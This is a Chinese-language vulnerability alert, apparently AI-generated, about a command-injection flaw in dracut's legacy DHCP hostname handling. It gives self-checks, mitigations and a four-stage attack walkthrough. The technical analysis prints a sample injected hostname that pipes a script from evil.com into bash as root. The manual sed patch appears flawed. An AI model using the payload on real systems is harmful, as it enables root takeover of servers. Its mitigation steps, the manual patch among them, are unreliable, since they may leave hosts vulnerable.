⚠️ 紧急预警:Linux 系统启动核心组件曝出远程代码执行漏洞
2026年6月10日公布,CVE-2026-6893(CVSS 8.8)——几乎每一台运行 RHEL、CentOS、Fedora、openSUSE 以及国产操作系统(如银河麒麟、统信 UOS)的 Linux 服务器都预装了 dracut。这个看似不起眼的启动工具,刚刚被发现存在一个致命的DHCP 命令注入漏洞:同一局域网内的攻击者只需搭建一个恶意的 DHCP 服务器,就能在目标机器启动阶段以 root 权限执行任意代码。
更令人担忧的是,该漏洞的利用窗口恰好发生在系统启动过程中——此时防火墙规则可能尚未生效,安全监控工具尚未启动,入侵检测系统处于"失明"状态。攻击者可以在常规安全机制就绪之前完成所有恶意操作,这被安全研究者称为"黄金沉默期"(Golden Silent Period)。
目前该漏洞的 Bugzilla 状态仍为 NEW(未修复),Red Hat 尚未发布正式补丁。这意味着全球数以百万计的 Linux 服务器正处于零补丁可打的裸奔状态。
🔍 2 分钟快速自查
第一步:确认系统是否使用 dracut
dracut 是 RHEL/CentOS/Fedora 系列的默认 initramfs(初始内存文件系统)生成器。如果你的服务器运行以下操作系统之一,几乎可以确定使用了 dracut:
-
- RHEL / CentOS / AlmaLinux / Rocky Linux(7/8/9/10)——企业级 Linux 的绝对主力
-
- Fedora——上游社区发行版
-
- openSUSE / SLES——SUSE 系列的默认工具
-
- Oracle Linux——甲骨文企业版 Linux
-
- Amazon Linux——AWS 云服务器默认系统
-
- 银河麒麟 / 统信 UOS——基于 RHEL/CentOS 内核的国产操作系统
-
# 验证是否安装了 dracut
$ rpm -qa | grep dracut
dracut-105-3.el9.x86_64 # ← 如果看到类似输出,你的系统使用了 dracut
# 检查 initramfs 是否包含 network-legacy 模块
$ lsinitrd | grep -i "dhclient-script"
lib/dracut/hooks/pre-trigger/30-dhclient-script.sh
# ← 如果有输出,说明 legacy DHCP 路径存在于你的 initramfs 中
关键区分:仅当系统的 initramfs 中包含了 35network-legacy 模块(即 legacy DHCP 路径)时,才会受到影响。现代 RHEL 9/10 默认使用 NetworkManager 路径,但许多企业环境为了兼容老旧网络基础设施,仍在使用 legacy DHCP 路径。如果你不确定,按照下面的第二步检查。
第二步:检查 initramfs 是否包含漏洞模块
# 检查 initramfs 中是否包含 dhclient-script.sh
$ lsinitrd 2>/dev/null | grep dhclient-script
# 或使用 dracut 自带工具
$ dracut --list-modules | grep 35network-legacy
35network-legacy
# 查看系统启动参数是否使用 legacy DHCP
$ grep -E "ip=dhcp|rd.neednet" /proc/cmdline
ip=dhcp rd.neednet=1
# ← 如果看到 "ip=dhcp",说明启动时使用 DHCP,可能触发漏洞路径
⚠️ 如果以上两项检查都有输出:你的系统正在使用存在漏洞的 legacy DHCP 路径,属于高危目标。请立即参考下方的自救指南。
→ 仅 lsinitrd 有输出但 /proc/cmdline 中无 ip=dhcp:legacy DHCP 模块存在于 initramfs 中但未被当前启动激活。虽然当前安全,但如果启动参数被修改或 PXE 启动时可能触发。
第三步:检查网络环境中的 DHCP 服务器信任状况
# 查看当前 DHCP 租约信息
$ cat /var/lib/dhclient/*.lease 2>/dev/null || journalctl -u dhclient --no-pager
# 查看网络接口的 DHCP 配置来源
$ nmcli dev show eth0 | grep -i dhcp
DHCP4.OPTION[1]: requested_domain = "example.com"
DHCP4.OPTION[25]: requested_host_name = "server01"
# ← 记录你的 hostname 和 domain 选项是否来自你信任的 DHCP 服务器
高危场景:如果你的服务器部署在共享网络环境中(如公共云 VPC、托管机房、校园网、酒店网络),同一 L2 网段中的任何人都可以搭建恶意 DHCP 服务器。
📋 风险确认表
基于 NVD 公告、Red Hat Bugzilla 报告和源代码审计,以下是已确认和潜在的风险评估:
| 已确认风险 |
影响描述 |
| Root 级命令注入 |
DHCP 响应中的 hostname 选项未经转义直接写入 shell 脚本并执行,攻击者注入的命令以 root 权限运行 |
| 相邻网络即可攻击 |
CVSS 向量 AV:A(Adjacent Network),无需互联网连接,同一交换机/VLAN 内的攻击者即可发起攻击 |
| 零认证、零交互 |
PR:N / UI:N — 不需要任何用户名密码,不需要用户点击或确认 |
| 启动阶段安全真空 |
漏洞在 initramfs 阶段触发,此时 SELinux/AppArmor、IDS、日志系统均未启动,攻击行为几乎无迹可寻 |
| PoC 已公开 |
Bugzilla 报告包含完整复现步骤和漏洞代码行,任何人均可复现 |
| 潜在风险 |
影响描述 |
| 持久化后门安装 |
攻击者在启动阶段以 root 权限执行代码,可修改 /etc/shadow、植入 SSH 后门、篡改系统服务配置 |
| 链式攻击升级 |
作为初始访问向量,配合横向移动工具可从单台服务器渗透至整个内网 |
| 路由表篡改 |
除 hostname 外,DHCP 网关选项同样未经充分转义,攻击者可篡改路由表实现中间人攻击 |
| 国产操作系统受影响 |
银河麒麟、统信 UOS 等国产 OS 基于 RHEL 内核,同样包含漏洞版本的 dracut,影响政务和金融系统 |
🛡️ 自救指南
第一步:检查并切换到 NetworkManager DHCP 路径(推荐)
漏洞仅存在于 35network-legacy 模块。如果你的系统同时安装了 35network-manager 模块(RHEL 8/9/10 默认),可以通过禁用 legacy 路径来规避风险:
# 检查系统使用的 DHCP 模块
$ lsinitrd | grep network
...
lib/dracut/modules.d/35network-legacy/dhclient-script.sh # ← 漏洞模块
lib/dracut/modules.d/35network-manager/net-lib.sh # ← 安全替代
# 重新生成 initramfs,排除 legacy 模块
# 方法1:通过 dracut 配置文件(永久生效)
$ echo 'omit_dracutmodules+="35network-legacy"' | sudo tee -a /etc/dracut.conf.d/no-legacy-dhcp.conf
# 重新生成 initramfs
$ sudo dracut -f --regenerate-all
# 验证 legacy 模块已被排除
$ lsinitrd | grep dhclient-script
# ← 应该无输出,说明 legacy DHCP 路径已移除
# 方法2:仅在启动参数中指定(临时方案)
# 在 GRUB 中添加 rd.net.dhcp.timeout=10 启用 NetworkManager DHCP
# 编辑 /etc/default/grub:
# GRUB_CMDLINE_LINUX="... rd.net.dhcp.timeout=10"
$ sudo grub2-mkconfig -o /boot/grub2/grub.cfg
第二步:手动修补 initramfs 中的 dhclient-script.sh
如果无法切换到 NetworkManager 路径(例如依赖 PXE 启动或特定 DHCP 选项),可以对源文件进行手动修补:
# 定位漏洞文件
$ find /usr/lib/dracut -name dhclient-script.sh
/usr/lib/dracut/modules.d/35network-legacy/dhclient-script.sh
# 备份原文件
$ sudo cp /usr/lib/dracut/modules.d/35network-legacy/dhclient-script.sh \
/usr/lib/dracut/modules.d/35network-legacy/dhclient-script.sh.bak
# 查看漏洞行(约第75行)
$ grep -n 'hostname' /usr/lib/dracut/modules.d/35network-legacy/dhclient-script.sh | grep echo
# 修补:对 hostname 变量添加 shell 安全引用
# 原始代码(有漏洞):
# [ -n "$hostname" ] && echo "echo ${hostname%.$domain}${domain:+.$domain} > /proc/sys/kernel/hostname" > /tmp/net."$netif".hostname
# 修补后(安全):
# [ -n "$hostname" ] && echo "echo '${hostname%.$domain}${domain:+.$domain}' > /proc/sys/kernel/hostname" > /tmp/net."$netif".hostname
# 注意:使用单引号包裹变量值,并额外过滤特殊字符
$ sudo sed -i "s/echo \${hostname%\.\$domain}/printf '%s' \"\${hostname%.${domain}}\"/g" \
/usr/lib/dracut/modules.d/35network-legacy/dhclient-script.sh
# 重新生成 initramfs
$ sudo dracut -f --regenerate-all
第三步:加固 DHCP 网络环境
# 在交换机上配置 DHCP Snooping,阻止未经授权的 DHCP 响应
# Cisco 示例(需网络管理员权限):
# ip dhcp snooping vlan 10,20
# ip dhcp snooping
# 在 Linux 服务器上配置静态 IP(最彻底的方案)
# 如果服务器不需要 DHCP,直接在 GRUB 中指定静态网络参数:
# GRUB_CMDLINE_LINUX="... ip=192.168.1.100::192.168.1.1:255.255.255.0:server01:eth0:none"
# 在云环境中限制 DHCP 来源
# AWS: 在安全组中阻止 UDP 67/68 端口(需注意可能影响实例初始化)
# GCP: 使用 VPC 流日志监控异常 DHCP 流量
# 阿里云: 在安全组中限制 DHCP 端口的入站规则
第四步:重启后验证是否已被利用
如果你在修补前曾有重启操作,建议检查系统是否已被植入后门:
# 检查是否有异常的 initramfs 启动日志
$ journalctl -k --no-pager | grep -i "dhclient\|hostname\|initqueue"
# 检查 /tmp 下是否有残留的 dracut DHCP 文件
$ ls -la /tmp/net.*.hostname /tmp/dhclient.*.dhcpopts /tmp/net.*.gw 2>/dev/null
# 检查是否有异常的 root 权限文件修改(最近7天)
$ find /etc -mtime -7 -ls | grep -v "/etc/ssl\|/etc/pki"
# 检查是否有新增的 SSH 密钥
$ find /root/.ssh -newer /root/.bashrc -ls
# 检查 crontab 是否被篡改
$ sudo crontab -l
$ sudo cat /etc/cron.d/* | grep -v "^#"
🔬 技术深度分析
漏洞根因:Shell 脚本的信任链断裂
dracut 的 legacy DHCP 模块 35network-legacy/dhclient-script.sh 的工作流程如下:当系统通过 PXE 或 DHCP 启动时,dhclient 从网络获取 DHCP 响应,然后 dhclient-script.sh 将 DHCP 提供的选项值(如 hostname、网关、DNS 等)写入临时 shell 脚本文件。这些脚本随后被 source(即 .)命令以 root 权限执行。
问题的关键在于:DHCP 选项值来自网络,属于不可信输入。但脚本在将其写入 shell 文件时,没有进行任何转义或过滤。以 hostname 处理为例(dracut 059 版本第 75 行):
# 漏洞代码(dracut 059,modules.d/35network-legacy/dhclient-script.sh 第75行)
[ -n "$hostname" ] && echo "echo ${hostname%.$domain}${domain:+.$domain} > /proc/sys/kernel/hostname" > /tmp/net."$netif".hostname
# 随后在 modules.d/45net-lib/net-lib.sh 中被 source 执行:
[ -e /tmp/net."$netif".hostname ] && . /tmp/net."$netif".hostname
这段代码将 hostname 变量的值通过 ${hostname%.$domain} 参数展开后直接嵌入到 echo 命令中。如果攻击者在 DHCP 响应中设置恶意的 hostname 值(例如 pwn; curl http://evil.com/payload.sh | bash #),那么 ; 后面的命令将在 source 时以 root 权限执行。
类似的问题还存在于网关配置(/tmp/net."$netif".gw)和 DHCP 选项文件(/tmp/dhclient."$netif".dhcpopts)中,攻击面覆盖 hostname、路由和 DNS 三个关键配置维度。
攻击场景还原(四阶段)
第一阶段:侦察。攻击者通过网络扫描(如 ARP 探测、DHCP Discover 泛洪)确认目标子网中存在使用 dracut legacy DHCP 的 Linux 服务器。由于 DHCP Discover 是广播协议,攻击者可以被动监听 DHCP 请求来识别目标操作系统类型(通过 DHCP Vendor Class Identifier 选项)。
第二阶段:恶意 DHCP 服务器部署。攻击者在同一 L2 网段内部署一个恶意 DHCP 服务器(如 dnsmasq 或 isc-dhcp-server),配置为响应目标服务器的 DHCP 请求。服务器需要比合法 DHCP 服务器更快响应(即"DHCP 饥饿攻击"先耗尽合法服务器的 IP 池,然后接管)。
第三阶段:漏洞触发。当目标服务器重启或通过网络启动时,dracut 的 initramfs 阶段会发起 DHCP 请求。恶意服务器响应包含特制的 hostname 选项:host-name = "pwn; curl http://evil.com/payload.sh | bash #"。dhclient-script.sh 将该值未经转义直接写入 /tmp/net.eth0.hostname 文件。随后在 45net-lib/net-lib.sh 中,该文件被 source 命令以 root 权限执行,注入的恶意命令瞬间获得最高权限。
第四阶段:持久化与横向渗透。在 root 代码执行后,攻击者可以执行任意操作——修改 /etc/passwd 添加后门账户、植入 SSH 授权密钥、安装 rootkit、篡改系统启动脚本实现下次启动时自动执行恶意代码。由于攻击发生在 initramfs 阶段,SELinux 策略尚未加载,AppArmor 尚未激活,审计日志(auditd)尚未启动——攻击行为几乎不留痕迹。
为什么 dracut 这个"隐形巨人"如此危险?
dracut 是 Linux 系统启动过程中最核心但最不引人注意的组件之一。它的 GitHub 仓库仅有约 800 个 Stars,但实际部署量以数亿计——因为它是 RHEL/CentOS/Fedora 系列发行版的默认 initramfs 生成器。initramfs 是系统启动时的第一个用户态环境,负责加载磁盘驱动、网络驱动和根文件系统挂载。
dracut 的设计哲学是"极简启动"——在启动阶段只完成最少的必要操作,将剩余配置交给 systemd 处理。这意味着启动阶段的代码路径相对简单,但也意味着安全审计常常被忽视——开发者关注的是"能不能启动成功",而不是"DHCP 响应是否安全"。值得注意的是,2014 年出现的 Shellshock(CVE-2014-6271)同样是 Bash 环境变量注入导致的代码执行漏洞,而 CVE-2026-6893 的本质与 Shellshock 高度相似——都是将不可信的外部输入不经转义地传递给 Shell 解释器。legacy DHCP 路径的代码自 2018 年从 network 模块分离出来后,几乎没有进行过安全审计。
更深层的问题在于 Shell 脚本作为配置代码的脆弱性。echo "命令" > 文件 && source 文件 这种模式在 Shell 脚本中极为常见,但它本质上是在动态生成代码——当输入未经转义时,就等于打开了命令注入的大门。这是 Unix/Linux 世界中最古老也最持久的漏洞模式之一(CWE-78: OS 命令注入),在 2026 年依然出现在系统级核心组件中,令人警醒。
事实上,早在 2021 年就有安全研究者发现并修复过 dracut 的类似问题(commit e509c638,修复 NetworkManager DHCP 路径中的安全问题)。但那次修复仅覆盖了 NetworkManager 路径,遗留了 legacy DHCP 路径中的同样问题。这说明安全补丁的覆盖范围评估需要更加全面——修补一个入口点时,必须同时审查所有具有相同输入模式的代码路径。
🏢 中国用户影响分析
国产操作系统全面受影响。银河麒麟(Kylin)和统信 UOS 是中国政企领域部署最广泛的国产操作系统,两者均基于 RHEL/CentOS 内核构建,直接继承了 dracut 作为 initramfs 生成器。这意味着中国数以百万计的政务终端、金融服务器和国防系统都可能受到影响。
公共云服务器风险。阿里云 ECS 的 CentOS/Alibaba Cloud Linux 3、腾讯云的 TencentOS、华为云的 EulerOS 等镜像均使用 dracut。虽然云环境中同一 VPC 内的 DHCP 通常由云平台控制,但在某些配置下(如自建 VPC DHCP、混合云部署、测试环境),恶意 DHCP 响应仍有可能到达目标实例。
机房/托管环境是高危场景。在中国的 IDC 托管机房中,多台不同客户的服务器常常共享同一 L2 网络交换机。这种"大二层"架构使得同一机柜甚至同一机房的任意服务器都可以嗅探和响应 DHCP 请求。对于使用 PXE 网络启动的批量部署环境,攻击者可以等待下一轮服务器重启时完成入侵。
教育网和科研网络。中国高校和科研院所普遍使用 RHEL/CentOS 作为服务器操作系统,且校园网通常采用扁平化网络架构,DHCP 安全控制薄弱。大量校园服务器(图书馆系统、教务系统、实验室工作站)如果使用 legacy DHCP 启动路径,将面临严重风险。
🧱 防御纵深建议
-
- 网络分段与 DHCP Snooping:在核心交换机上启用 DHCP Snooping(动态主机配置协议窥探),只允许合法 DHCP 服务器的响应通过。对于 Cisco 交换机使用
ip dhcp snooping,对于华为/华三交换机使用 dhcp snooping enable。这是最根本的防御——在网络层阻止恶意 DHCP 响应到达目标服务器。 -
- 启动日志审计:在系统启动后立即检查
/tmp 目录下 dracut 遗留的 DHCP 文件内容,确认 hostname、网关等值是否包含可疑字符(如 ; & | ` $() 等Shell元字符)。可以将此检查集成到系统启动服务中(systemd 的 ExecPostStart 钩子)。 -
- 减少 DHCP 依赖:对于不需要动态获取 IP 的服务器,在 GRUB 启动参数中使用静态网络配置(
ip=静态IP::网关:子网掩码:hostname:接口:none),完全绕过 DHCP 流程。对于云服务器,依赖 VPC 的元数据服务而非传统 DHCP。 -
- initramfs 完整性验证:使用 dm-verity 或 IMA(完整性度量架构)对 initramfs 进行签名验证,确保其未被篡改。虽然这不直接防止命令注入,但可以检测攻击者在成功利用后是否修改了 initramfs。
-
- 升级 dracut 到修复版本:一旦 Red Hat 发布修复版本,立即升级。对于无法立即升级的系统,使用上文"自救指南"中的手动修补方案作为过渡措施。建议企业内部建立 dracut 版本审计机制,确保所有 RHEL 系统使用统一的、经过安全审计的 initramfs 配置。
-
📚 解决方案与参考资料
官方修复进展
| 项目 |
状态 |
| Red Hat Bugzilla #2459963 |
NEW(未修复) |
| dracut 主仓库修复 PR |
尚未提交 |
| RHEL/CentOS 安全公告 |
尚未发布 |
| 国产 OS(麒麟/UOS) |
尚未发布 |
漏洞信息摘要
| 项目 |
详情 |
| CVE 编号 |
CVE-2026-6893 |
| CVSS 3.1 评分 |
8.8(High) |
| CVSS 向量 |
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE |
CWE-78(OS 命令注入)+ CWE-94(代码注入) |
| 受影响组件 |
dracut modules.d/35network-legacy/dhclient-script.sh |
| 攻击向量 |
相邻网络(AV:A),通过恶意 DHCP 选项 |
| 漏洞类型 |
命令注入 / Shell 代码注入 |
| NVD 公布日期 |
2026-06-10 |
引用链接
-
- [1] NVD CVE-2026-6893: https://nvd.nist.gov/vuln/detail/CVE-2026-6893
-
- [2] Red Hat Bugzilla #2459963: https://bugzilla.redhat.com/show_bug.cgi?id=2459963
-
- [3] Red Hat CVE 页面: https://access.redhat.com/security/cve/CVE-2026-6893
-
- [4] dracut GitHub 仓库: https://github.com/dracutdevs/dracut
-
- [5] 漏洞代码(dhclient-script.sh): https://github.com/dracutdevs/dracut/blob/059/modules.d/35network-legacy/dhclient-script.sh
-
龙虾池子 · AI 自动生成